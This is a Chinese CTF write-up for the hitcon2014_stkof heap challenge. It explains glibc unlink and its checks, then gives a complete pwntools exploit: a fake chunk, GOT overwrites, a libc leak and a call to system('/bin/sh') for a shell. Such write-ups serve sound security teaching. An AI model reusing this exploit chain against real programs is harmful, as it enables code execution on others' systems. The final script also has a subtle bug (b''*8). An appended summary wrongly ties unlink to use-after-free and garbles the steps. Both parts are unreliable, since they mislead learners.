[BUUCTF]PWN——hitcon2014_stkof

这题用到unlink,先了解一下unlink的原理,部分摘自ctfwiki和大康师傅的文章,大康师傅写的已经很好了,为了交日志,稍作记录。

unlink介绍

unlink:当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,

根据P的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
设置FD->bk=BK   
设置BK->fd=FD

在这里插入图片描述在这里插入图片描述
上方截图的是ctfwili上对unlink的解释,我看了自己的工具书也说的差不多,害怕学弟看不懂,我用自己的话来阐述一下

P->fd=FD,P->bk=BK:首先正常的堆的结构图(图中有三个chunk,BK,P,FD)
在这里插入图片描述
chunk里的fd和bk的作用(图片来源
在这里插入图片描述
我们现在要将P块释放掉,根据fd指向上一个chunk,bk指向下一个chunk,所以链表要发生变化

FD->bk=BK :P块被释放掉了,所以FD块的下一个chunk是BK块,所以FD块的bk指针指向了BK块的Prev_size
在这里插入图片描述
BK->fd=FD:由于P块被释放掉了,所以BK块的上一个chunk是FD块,因此BK块的fd指针应该指向FD块
在这里插入图片描述
好了,到这里就完成了unlink

目前新式的unlink中的检查

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
      
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // largebin 中 next_size 双向链表完整性检查 
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

利用思路

要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。

1.第一种利用思路

利用条件

  1. 存在UAF可以修改p的fd和bk
  2. 存在一个指针指向p

利用方法

  1. 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
  2. free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
在这里插入图片描述

2.第二种方法思路

这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。

利用条件

  1. 可以修改p的下一个chunk->pre_size和inuse位
  2. 存在一个指针指向chunk p的内容部分

利用方法

  1. 伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
  2. 修改下一个chunk的prev_size=chunk_size-0x10。因为fake_chunk比chunk0小0x10。
  3. 修改下一个chunk的inuse位。
  4. free下一个堆块chunk1。fake_chunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。

效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
在这里插入图片描述
了解了unlink的知识后开始做题

hitcon2014_stkof

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx
    在这里插入图片描述
  2. 本地试运行一下看看大概的情况,
    在这里插入图片描述
  3. 64位ida载入,给程序的函数改了一下名,方便看,这是道堆,不过没有打印菜单
    main(),v3=4的那个函数感觉没什么用,就不截图了
    在这里插入图片描述
    add()
    在这里插入图片描述
    del()
    在这里插入图片描述
    edit()
    在这里插入图片描述
  4. 利用点在edit()
    它向存储在s[v2]的这个数组中的指针开始的地址读入n数个字符(n由我们输入,可以溢出),也就是说,只要我们能够修改s[v2]中存的指针,就可以实现任意地址写。程序没有开启reload,又有了任意地址写,我们可以泄露libc,计算偏移。所以现在的难点就是对s[v2]的修改。
    在这里插入图片描述
    这个数组是一个在.bss段的全局数组,程序没有pie,所有的虚拟地址已知,所以我们可以考虑用unlink方法(对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果)。
    下面的内容参考了ctfwiki

unlink在64位下可以实现开头地址(下面记作p)的8个字节修改为一个指向p-0x18的指针,32位下则是p开始的4个字节修改为指向p-0xC。即

32位:*p=p-0xC   
64位:*p=p-0x18

在这里插入图片描述

利用思路:

  1. 利用 unlink 修改 s[2] = &s[2]-0x18
  2. 利用edit()修改 s[0] = free@got 地址,同时修改 s[1] = puts@got 地址
  3. 再一次编辑,修改s[0]=puts@plt,实现覆写free@got,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。然后free(s[1]),执行了puts(puts@got)通过puts泄露puts@got的值,获得libc基地址,然后就可以获得system@plt和"/bin/sh"的地址
  4. 再一次编辑,修改s[2]=system@plt,实现覆写atio@got为system@plt
  5. 再次调用时,输入"/bin/sh"的地址成功拿shell

我们先连续创建几个chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布。
ctfwiki上的解释是:值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,所以我们在前面先分配一个 chunk 来把缓冲区分配完毕,以免影响之后的操作。具体的看ctfwiki这题的IO 缓冲区问题分析。所以第一个堆块不能用来做fakechunk。
在这里插入图片描述

利用过程

  1. 利用 unlink 修改 s[2] = &s[2]-0x18
    创建堆
alloc(0x80)# 1  用来解决IO缓冲区问题
alloc(0x80)# 2  用来构造fake_chunk与chunk3合并
alloc(0x80)# 3 
alloc(0x20)# 4	防止和top chunk合并

bss =0x602140     #存放堆指针的数组
aim = bss+0x10
fd=aim - 0x18
bk=aim - 0x10

此时堆的空间分布
在这里插入图片描述
在这里插入图片描述
构造fake_chunk

payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)

在这里插入图片描述
unlink
释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的
在这里插入图片描述

  1. 利用edit()修改 s[0] = free@got 地址,同时修改 s[1] = puts@got 地址。
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']

payload2 = 'a'*8+'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
  1. 再一次编辑,修改s[0]=puts@plt,实现覆写free@got,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。然后free(s[1]),执行了puts(puts@got)通过puts泄露puts@got的值,获得libc基地址,然后就可以获得system@plt和"/bin/sh"的地址
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
  1. 修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()

完整exp:

from pwn import *
from LibcSearcher import *
context.log_level= 'debug'
p = remote('node3.buuoj.cn',28727)
#p = process('./stkof')

libc = ELF('./libc-2.23 .so')
elf = ELF('./stkof')

def add(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10


add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = 'a'*8+b''*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload4 = p64(system_addr)
edit(1, payload4)

edit(4, '/bin/sh\x00')
free(4)

p.interactive()

在这里插入图片描述

参考wp:
https://wiki.x10sec.org/pwn/linux/glibc-heap/unlink-zh/
https://blog.csdn.net/abel_big_xu/article/details/109632899

在计算机安全领域,"unlink"是一种常见的堆溢出攻击利用技术。它利用了"Use-After-Free"漏洞,该漏洞在释放内存后仍然使用该内存的指针。 在具体的实现中,"unlink"攻击需要使用全局变量,并进行多次写入。攻击者通过修改堆上的数据结构,使得被释放的堆块的前后指针指向了攻击者想要控制的地址。 下面是"unlink"攻击的主要步骤: 1. 攻击者需要一个全局指针变量p,该变量指向一个堆块。 2. 攻击者通过修改p的fd和bk指针,将p链接到自身的前后堆块上。 3. 攻击者检查p->fd->bk和p->bk->fd是否都指向p,如果不是,则意味着堆块链表被破坏,攻击失败。 4. 如果上述检查通过,攻击者将p->fd->bk指向p的前一个堆块,将p->bk->fd指向p的后一个堆块,完成"unlink"操作。 5. 攻击者可以利用这个被解链的堆块进行任意的内存写入或执行其他操作,从而实现对程序的控制。 总结起来,"unlink"攻击利用了堆溢出漏洞中的"Use-After-Free"漏洞,并通过修改堆块的前后指针来实现对程序的控制。这是一种常见的攻击技术,需要仔细的堆结构分析和理解。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [【pwn学习】堆溢出(三)- Unlink和UAF](https://blog.csdn.net/Morphy_Amo/article/details/122631424)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [pwn unlink](https://blog.csdn.net/qq_37433000/article/details/103500857)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值